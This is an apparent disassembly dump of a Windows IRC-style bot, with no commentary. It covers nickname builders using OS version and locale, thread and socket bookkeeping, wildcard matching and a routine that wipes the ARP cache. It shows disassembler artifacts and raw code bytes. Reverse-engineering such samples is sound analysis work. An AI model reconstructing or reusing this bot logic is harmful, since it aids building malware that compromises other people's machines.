push eax call sub_41BA76 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 20h loc_40A9A9: ; CODE XREF: sub_40A6BD+2BEj lea eax, [ebp+var_200] push offset unk_42E9CC push eax call sub_41BA76 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A9D6 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409966 add esp, 14h loc_40A9D6: ; CODE XREF: sub_40A6BD+302j lea eax, [ebp+var_200] push eax call sub_4152AE pop ecx pop edi pop esi pop ebx leave retn sub_40A6BD endp ; =============== S U B R O U T I N E ======================================= sub_40A9E8 proc near ; CODE XREF: sub_401875+4Fp ; seg000:0040770Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_4CDC38 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AA10 push [esp+arg_0] call ds:dword_4CDC7C ; gethostbyname test eax, eax jnz short loc_40AA09 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AA09: ; CODE XREF: sub_40A9E8+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AA10: ; CODE XREF: sub_40A9E8+Dj retn sub_40A9E8 endp ; =============== S U B R O U T I N E ======================================= sub_40AA11 proc near ; CODE XREF: sub_401875+D6p mov ecx, ds:dword_4CDB14 xor eax, eax test ecx, ecx jz short locret_40AA1F jmp ecx ; --------------------------------------------------------------------------- locret_40AA1F: ; CODE XREF: sub_40AA11+Aj retn sub_40AA11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA20 proc near ; CODE XREF: seg000:loc_403F07p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call ds:dword_4CDC74 ; GetIpNetTable mov ecx, eax sub ecx, edi jz short loc_40AAA7 sub ecx, 32h jz loc_40AAF1 sub ecx, 48h jz short loc_40AA7C sub ecx, 6Eh jz short loc_40AA75 loc_40AA5E: ; CODE XREF: sub_40AA20+85j push eax lea eax, [ebp+var_88] push offset unk_42EBE0 push eax call sub_41BA76 add esp, 0Ch jmp short loc_40AAD2 ; --------------------------------------------------------------------------- loc_40AA75: ; CODE XREF: sub_40AA20+3Cj push offset unk_42EBBC jmp short loc_40AAC4 ; --------------------------------------------------------------------------- loc_40AA7C: ; CODE XREF: sub_40AA20+37j push [ebp+var_8] call sub_41B6C5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B780 add esp, 10h cmp esi, edi jz short loc_40AABF lea eax, [ebp+var_8] push ebx push eax push esi call ds:dword_4CDC74 ; GetIpNetTable cmp eax, edi jnz short loc_40AA5E loc_40AAA7: ; CODE XREF: sub_40AA20+29j cmp [esi], edi jbe short loc_40AAE2 lea ebx, [esi+4] loc_40AAAE: ; CODE XREF: sub_40AA20+9Bj push ebx call ds:dword_4CDC70 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AAAE jmp short loc_40AAE2 ; --------------------------------------------------------------------------- loc_40AABF: ; CODE XREF: sub_40AA20+75j push offset unk_42EB8C loc_40AAC4: ; CODE XREF: sub_40AA20+5Aj ; sub_40AA20+D6j lea eax, [ebp+var_88] push eax call sub_41BA76 pop ecx pop ecx loc_40AAD2: ; CODE XREF: sub_40AA20+53j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4152AE pop ecx loc_40AAE2: ; CODE XREF: sub_40AA20+89j ; sub_40AA20+9Dj push esi call sub_41B2A1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AAF1: ; CODE XREF: sub_40AA20+2Ej push offset unk_42EB5C jmp short loc_40AAC4 sub_40AA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAF8 proc near ; CODE XREF: seg000:00403CAEp ; seg000:00403DE5p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call ds:dword_4CDB9C ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CDD24 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41BA76 add esp, 18h mov eax, esi pop esi leave retn sub_40AAF8 endp ; =============== S U B R O U T I N E ======================================= sub_40AB51 proc near ; CODE XREF: seg000:00412E88p ; seg000:00412ECEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40AB7C lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40AB6F: ; CODE XREF: sub_40AB51+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40AB6F pop edi jmp short loc_40AB80 ; --------------------------------------------------------------------------- loc_40AB7C: ; CODE XREF: sub_40AB51+Aj mov esi, [esp+4+arg_0] loc_40AB80: ; CODE XREF: sub_40AB51+29j test ecx, ecx jz short loc_40AB89 movzx eax, byte ptr [esi] add edx, eax loc_40AB89: ; CODE XREF: sub_40AB51+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AB51 endp ; =============== S U B R O U T I N E ======================================= sub_40ABA1 proc near ; CODE XREF: sub_40AF07+4Ap ; DATA XREF: seg002:off_42EC28o arg_0 = dword ptr 4 push esi push edi call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 call sub_41BAD2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push ds:off_42EC90[edx*4] push offset aS_2 ; "%s" push 1Ch push edi call sub_41BB70 xor esi, esi add esp, 14h cmp ds:dword_42A09C, esi jle short loc_40AC08 loc_40ABE2: ; CODE XREF: sub_40ABA1+65j call sub_41BAD2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB18 push 1Ch push edi call sub_41BB70 add esp, 14h inc esi cmp esi, ds:dword_42A09C jl short loc_40ABE2 loc_40AC08: ; CODE XREF: sub_40ABA1+3Fj mov eax, edi pop edi pop esi retn sub_40ABA1 endp ; --------------------------------------------------------------------------- push esi push edi call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 mov edi, [esp+10h] mov dword ptr [esp], offset aLove ; "Love" push offset aS_2 ; "%s" push 1Ch push edi call sub_41BB70 xor esi, esi add esp, 10h cmp ds:dword_42A09C, esi jle short loc_40AC66 loc_40AC40: ; CODE XREF: seg000:0040AC64j call sub_41BAD2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB18 push 1Ch push edi call sub_41BB70 add esp, 14h inc esi cmp esi, ds:dword_42A09C jl short loc_40AC40 loc_40AC66: ; CODE XREF: seg000:0040AC3Ej mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- push ebx push esi push edi call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx call sub_41BAD2 push 3 mov ebx, [esp+14h] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_42A09C test esi, esi jle short loc_40ACAE loc_40AC98: ; CODE XREF: seg000:0040ACACj call sub_41BAD2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AC98 loc_40ACAE: ; CODE XREF: seg000:0040AC96j and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx lea eax, [ebp-4] mov esi, offset aPc ; "PC" push eax push esi call near ptr 0B10000h inc ebp mov edi, [ebp+8] push esi push 1Ch push edi call sub_41BB70 xor esi, esi add esp, 0Ch cmp ds:dword_42A09C, esi jle short loc_40AD21 loc_40ACFB: ; CODE XREF: seg000:0040AD1Fj call sub_41BAD2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB18 push 1Ch push edi call sub_41BB70 add esp, 14h inc esi cmp esi, ds:dword_42A09C jl short loc_40ACFB loc_40AD21: ; CODE XREF: seg000:0040ACF9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_4280C4 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_3 ; "%s|" push 1Ch push edi call sub_41BB70 xor esi, esi add esp, 10h cmp ds:dword_42A09C, esi jle short loc_40AD96 loc_40AD70: ; CODE XREF: seg000:0040AD94j call sub_41BAD2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB18 push 1Ch push edi call sub_41BB70 add esp, 14h inc esi cmp esi, ds:dword_42A09C jl short loc_40AD70 loc_40AD96: ; CODE XREF: seg000:0040AD6Ej mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43FDB4 mov dword ptr [ebp-94h], 94h call ds:dword_4280C8 ; GetVersionExA call ds:dword_4280A8 ; GetTickCount push eax call sub_41BAC8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AE20 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AE00 cmp dword ptr [ebp-84h], 1 jnz short loc_40ADF0 mov esi, offset a95 ; "95" loc_40ADF0: ; CODE XREF: seg000:0040ADE9j cmp dword ptr [ebp-84h], 2 jnz short loc_40AE5C mov esi, offset aNt_0 ; "NT" jmp short loc_40AE5C ; --------------------------------------------------------------------------- loc_40AE00: ; CODE XREF: seg000:0040ADE0j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AE10 mov esi, offset a98 ; "98" jmp short loc_40AE5C ; --------------------------------------------------------------------------- loc_40AE10: ; CODE XREF: seg000:0040AE07j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AE57 mov esi, offset aMe_0 ; "ME" jmp short loc_40AE5C ; --------------------------------------------------------------------------- loc_40AE20: ; CODE XREF: seg000:0040ADD7j cmp dword ptr [ebp-90h], 5 jnz short loc_40AE57 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AE39 mov esi, offset a2k ; "2K" jmp short loc_40AE5C ; --------------------------------------------------------------------------- loc_40AE39: ; CODE XREF: seg000:0040AE30j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AE49 mov esi, offset aXp_0 ; "XP" jmp short loc_40AE5C ; --------------------------------------------------------------------------- loc_40AE49: ; CODE XREF: seg000:0040AE40j cmp dword ptr [ebp-8Ch], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40AE5C loc_40AE57: ; CODE XREF: seg000:0040AE17j ; seg000:0040AE27j mov esi, offset a??? ; "???" loc_40AE5C: ; CODE XREF: seg000:0040ADF7j ; seg000:0040ADFEj ... mov edi, [ebp+8] push esi push offset aS_4 ; "[%s]|" push 1Ch push edi call sub_41BB70 xor esi, esi add esp, 10h cmp ds:dword_42A09C, esi jle short loc_40AEA0 loc_40AE7A: ; CODE XREF: seg000:0040AE9Ej call sub_41BAD2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42CB18 push 1Ch push edi call sub_41BB70 add esp, 14h inc esi cmp esi, ds:dword_42A09C jl short loc_40AE7A loc_40AEA0: ; CODE XREF: seg000:0040AE78j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEA6 proc near ; CODE XREF: sub_40AF07+5Dp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch call ds:dword_4280A8 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx cmp eax, 64h jbe short loc_40AED4 push eax push offset aD_2 ; "[%d]" lea eax, [ebp+var_1C] push 1Ch push eax call sub_41BB70 add esp, 10h loc_40AED4: ; CODE XREF: sub_40AEA6+18j lea eax, [ebp+var_1C] push eax call sub_41B1D0 cmp eax, 2 pop ecx jbe short loc_40AF02 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C3D0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B7E0 add esp, 18h loc_40AF02: ; CODE XREF: sub_40AEA6+3Bj mov eax, [ebp+arg_0] leave retn sub_40AEA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF07 proc near ; CODE XREF: sub_401875+7Fp ; sub_4019DB+43p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi xor esi, esi loc_40AF10: ; CODE XREF: sub_40AF07+40j cmp [ebp+arg_C], 0 jz short loc_40AF2E lea eax, aReal[esi] ; "real" push eax push [ebp+arg_C] call sub_41C260 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AF3C ; --------------------------------------------------------------------------- loc_40AF2E: ; CODE XREF: sub_40AF07+Dj mov ecx, ds:dword_42EC24[esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AF3C: ; CODE XREF: sub_40AF07+25j test eax, eax jnz short loc_40AF4B add esi, 14h inc edi cmp esi, 78h jb short loc_40AF10 jmp short loc_40AF59 ; --------------------------------------------------------------------------- loc_40AF4B: ; CODE XREF: sub_40AF07+37j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_42EC28[eax*4] pop ecx loc_40AF59: ; CODE XREF: sub_40AF07+42j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AF6C push [ebp+arg_0] call sub_40AEA6 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AF6C: ; CODE XREF: sub_40AF07+58j mov eax, [ebp+arg_0] pop ebp retn sub_40AF07 endp ; =============== S U B R O U T I N E ======================================= sub_40AF71 proc near ; CODE XREF: seg000:00402257p ; seg000:004024B4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_440938 loc_40AF79: ; CODE XREF: sub_40AF71+18j cmp byte ptr [eax], 0 jz short loc_40AF8D add eax, 234h inc edi cmp eax, offset dword_4CD938 jl short loc_40AF79 jmp short loc_40AFD8 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: sub_40AF71+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_440938[esi] push eax call sub_41B7E0 mov eax, [esp+14h+arg_4] and ds:dword_440B3C[esi], 0 and ds:dword_440B40[esi], 0 mov ds:dword_440B38[esi], eax mov eax, [esp+14h+arg_8] add esp, 0Ch and ds:byte_440B50[esi], 0 mov ds:dword_440B44[esi], eax pop esi loc_40AFD8: ; CODE XREF: sub_40AF71+1Aj mov eax, edi pop edi retn sub_40AF71 endp ; --------------------------------------------------------------------------- dword_40AFDC dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh ; DATA XREF: seg000:00404441o dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 266E8h, 14C48300h dd 0D5E8006Ah, 0BE00704Fh, 8B555E5Fh, 0EC81ECh, 56000002h dd 0FF006A57h, 14681075h, 0FF00432Ah, 75FF0C75h, 0E918E808h dd 0C483FFFFh, 0BEFF3314h, 440938h, 74003E80h, 147D833Ch dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h dd 42D85068h, 0F7E85000h, 6A000109h, 858D01h, 0FFFFFFFEh dd 0FF501075h, 75FF0C75h, 0E8D0E808h, 0C483FFFFh, 34C68124h dd 47000002h, 0D938FE81h, 0B07C004Ch, 0C3C95E5Fh ; =============== S U B R O U T I N E ======================================= sub_40B0AC proc near ; CODE XREF: seg000:00409589p ; sub_40B134+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B12E cmp esi, 400h jge short loc_40B12E imul esi, 234h push edi push ebx lea edi, dword_440B4C[esi] push dword ptr [edi] call near ptr 0B10000h lds edi, [ecx] pop ds jz short loc_40B0DE inc ebp loc_40B0DE: ; CODE XREF: sub_40B0AC+2Fj mov [edi], ebx lea edi, dword_440B40[esi] mov ds:dword_440B38[esi], ebx mov ds:dword_440B3C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B0FF push eax call near ptr sub_419B94 pop ecx loc_40B0FF: ; CODE XREF: sub_40B0AC+4Aj mov [edi], ebx lea edi, dword_440B44[esi] mov byte ptr ds:dword_440938[esi], bl mov ds:byte_440B50[esi], bl push dword ptr [edi] call ds:dword_4CDC90 ; closesocket lea esi, dword_440B48[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_4CDC90 ; closesocket mov [esi], ebx pop edi loc_40B12E: ; CODE XREF: sub_40B0AC+Dj ; sub_40B0AC+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B0AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B134 proc near ; CODE XREF: sub_401132+18p ; seg000:00404A41p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_440938 loc_40B140: ; CODE XREF: sub_40B134+2Aj cmp byte ptr [esi], 0 jz short loc_40B151 push edi call sub_40B0AC test eax, eax pop ecx jz short loc_40B151 inc ebx loc_40B151: ; CODE XREF: sub_40B134+Fj ; sub_40B134+1Aj add esi, 234h inc edi cmp esi, offset dword_4CD938 jl short loc_40B140 pop edi mov eax, ebx pop esi pop ebx retn sub_40B134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B166 proc near ; CODE XREF: seg000:00405C75p ; seg000:00405DC3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_440B3C loc_40B17A: ; CODE XREF: sub_40B166+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B19C test edi, edi jle short loc_40B18E cmp [esi], edi jz short loc_40B18E cmp ebx, edi jnz short loc_40B19C loc_40B18E: ; CODE XREF: sub_40B166+1Ej ; sub_40B166+22j push ebx call sub_40B0AC test eax, eax pop ecx jz short loc_40B19C inc [ebp+var_4] loc_40B19C: ; CODE XREF: sub_40B166+1Aj ; sub_40B166+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CDB3C jl short loc_40B17A mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B166 endp ; =============== S U B R O U T I N E ======================================= sub_40B1B3 proc near ; CODE XREF: seg000:0040242Dp ; seg000:004037BCp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_440B38 loc_40B1BA: ; CODE XREF: sub_40B1B3+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B1C3 inc eax loc_40B1C3: ; CODE XREF: sub_40B1B3+Dj add ecx, 234h cmp ecx, offset dword_4CDB38 jl short loc_40B1BA retn sub_40B1B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B1D2 proc near ; CODE XREF: seg000:00403EA4p arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_440B38 push esi loc_40B1DC: ; CODE XREF: sub_40B1D2+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B1F5 add ecx, 234h inc edx cmp ecx, offset dword_4CDB38 jl short loc_40B1DC pop esi retn ; --------------------------------------------------------------------------- loc_40B1F5: ; CODE XREF: sub_40B1D2+10j mov eax, edx pop esi retn sub_40B1D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1F9 proc near ; CODE XREF: seg000:00402CFBp ; seg000:00402D19p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B212 push [ebp+arg_1C] call sub_41B969 pop ecx loc_40B212: ; CODE XREF: sub_40B1F9+Ej push eax push [ebp+arg_18] call sub_40B166 pop ecx test eax, eax pop ecx jle short loc_40B23E push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41BA76 add esp, 14h jmp short loc_40B258 ; --------------------------------------------------------------------------- loc_40B23E: ; CODE XREF: sub_40B1F9+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41BA76 add esp, 10h loc_40B258: ; CODE XREF: sub_40B1F9+43j cmp [ebp+arg_C], 0 jnz short loc_40B278 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_40B278: ; CODE XREF: sub_40B1F9+63j lea eax, [ebp+var_200] push eax call sub_4152AE pop ecx leave retn sub_40B1F9 endp ; =============== S U B R O U T I N E ======================================= sub_40B287 proc near ; CODE XREF: sub_401875+154p ; seg000:0040B8A3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_440B4C[eax], ecx mov ds:dword_440B38[eax], ecx mov ds:dword_440B3C[eax], ecx mov ds:dword_440B40[eax], ecx mov ds:dword_440B44[eax], ecx mov ds:dword_440B48[eax], ecx mov byte ptr ds:dword_440938[eax], cl mov ds:byte_440B50[eax], cl retn sub_40B287 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2C4 proc near ; CODE XREF: seg000:00409810p ; sub_40B3EC+61p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_40B326 ; --------------------------------------------------------------------------- loc_40B2D0: ; CODE XREF: sub_40B2C4+66j cmp eax, 1 jnz short loc_40B337 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B337 cmp cl, 2Ah jz short loc_40B30F cmp cl, 3Fh jz short loc_40B2F4 cmp cl, 5Bh jz short loc_40B2F9 xor eax, eax cmp cl, dl setz al loc_40B2F4: ; CODE XREF: sub_40B2C4+22j inc [ebp+arg_4] jmp short loc_40B322 ; --------------------------------------------------------------------------- loc_40B2F9: ; CODE XREF: sub_40B2C4+27j lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B358 mov esi, [ebp+arg_0] jmp short loc_40B320 ; --------------------------------------------------------------------------- loc_40B30F: ; CODE XREF: sub_40B2C4+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B3EC mov esi, [ebp+arg_0] dec esi loc_40B320: ; CODE XREF: sub_40B2C4+49j pop ecx pop ecx loc_40B322: ; CODE XREF: sub_40B2C4+33j inc esi mov [ebp+arg_0], esi loc_40B326: ; CODE XREF: sub_40B2C4+Aj mov cl, [esi] test cl, cl jnz short loc_40B2D0 jmp short loc_40B337 ; --------------------------------------------------------------------------- loc_40B32E: ; CODE XREF: sub_40B2C4+76j cmp eax, 1 jnz short loc_40B353 inc esi mov [ebp+arg_0], esi loc_40B337: ; CODE XREF: sub_40B2C4+Fj ; sub_40B2C4+18j ... cmp byte ptr [esi], 2Ah jz short loc_40B32E cmp eax, 1 jnz short loc_40B353 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B353 cmp byte ptr [esi], 0 jnz short loc_40B353 xor eax, eax inc eax jmp short loc_40B355 ; --------------------------------------------------------------------------- loc_40B353: ; CODE XREF: sub_40B2C4+6Dj ; sub_40B2C4+7Bj ... xor eax, eax loc_40B355: ; CODE XREF: sub_40B2C4+8Dj pop esi pop ebp retn sub_40B2C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B358 proc near ; CODE XREF: sub_40B2C4+41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi xor eax, eax mov ecx, [edx] and [ebp+var_8], edi inc eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B379 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B379: ; CODE XREF: sub_40B358+19j push ebx push esi loc_40B37B: ; CODE XREF: sub_40B358+77j mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B389 cmp [ebp+var_4], eax jnz short loc_40B3D1 loc_40B389: ; CODE XREF: sub_40B358+2Aj test edi, edi jnz short loc_40B3C6 cmp bl, 2Dh jnz short loc_40B3BA lea esi, [ecx+1] mov cl, [ecx-1] mov al, [esi] cmp cl, al jge short loc_40B3BA cmp al, 5Dh jz short loc_40B3BA cmp [ebp+var_4], edi jnz short loc_40B3BA mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B3C6 cmp bl, al jg short loc_40B3C6 mov [edx], esi jmp short loc_40B3C3 ; --------------------------------------------------------------------------- loc_40B3BA: ; CODE XREF: sub_40B358+38j ; sub_40B358+44j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B3C6 loc_40B3C3: ; CODE XREF: sub_40B358+60j xor edi, edi inc edi loc_40B3C6: ; CODE XREF: sub_40B358+33j ; sub_40B358+58j ... inc dword ptr [edx] and [ebp+var_4], 0 xor eax, eax inc eax jmp short loc_40B37B ; --------------------------------------------------------------------------- loc_40B3D1: ; CODE XREF: sub_40B358+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B3DE mov ecx, eax sub ecx, edi mov edi, ecx loc_40B3DE: ; CODE XREF: sub_40B358+7Ej cmp edi, eax jnz short loc_40B3E7 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B3E7: ; CODE XREF: sub_40B358+88j mov eax, edi pop edi leave retn sub_40B358 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3EC proc near ; CODE XREF: sub_40B2C4+53p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_40B41C ; --------------------------------------------------------------------------- loc_40B406: ; CODE XREF: sub_40B3EC+36j mov dl, [eax] cmp dl, 3Fh jz short loc_40B417 cmp dl, 2Ah jnz short loc_40B429 cmp dl, 3Fh jnz short loc_40B41A loc_40B417: ; CODE XREF: sub_40B3EC+1Fj inc ecx mov [edi], ecx loc_40B41A: ; CODE XREF: sub_40B3EC+29j inc dword ptr [esi] loc_40B41C: ; CODE XREF: sub_40B3EC+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_40B406 jmp short loc_40B429 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40B3EC+40j inc eax mov [esi], eax loc_40B429: ; CODE XREF: sub_40B3EC+24j ; sub_40B3EC+38j cmp byte ptr [eax], 2Ah jz short loc_40B426 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_40B44B cmp [eax], bl jz short loc_40B43E xor eax, eax jmp short loc_40B4A8 ; --------------------------------------------------------------------------- loc_40B43E: ; CODE XREF: sub_40B3EC+4Cj cmp dl, bl jnz short loc_40B44B cmp [eax], bl jnz short loc_40B44B xor eax, eax inc eax jmp short loc_40B4A8 ; --------------------------------------------------------------------------- loc_40B44B: ; CODE XREF: sub_40B3EC+48j ; sub_40B3EC+54j ... push ecx push eax call sub_40B2C4 pop ecx test eax, eax pop ecx jnz short loc_40B492 loc_40B458: ; CODE XREF: sub_40B3EC+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_40B46A ; --------------------------------------------------------------------------- loc_40B45E: ; CODE XREF: sub_40B3EC+86j cmp cl, 5Bh jz short loc_40B474 cmp dl, bl jz short loc_40B474 inc eax mov [edi], eax loc_40B46A: ; CODE XREF: sub_40B3EC+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_40B45E loc_40B474: ; CODE XREF: sub_40B3EC+75j ; sub_40B3EC+79j cmp [eax], bl jz short loc_40B489 push eax push dword ptr [esi] 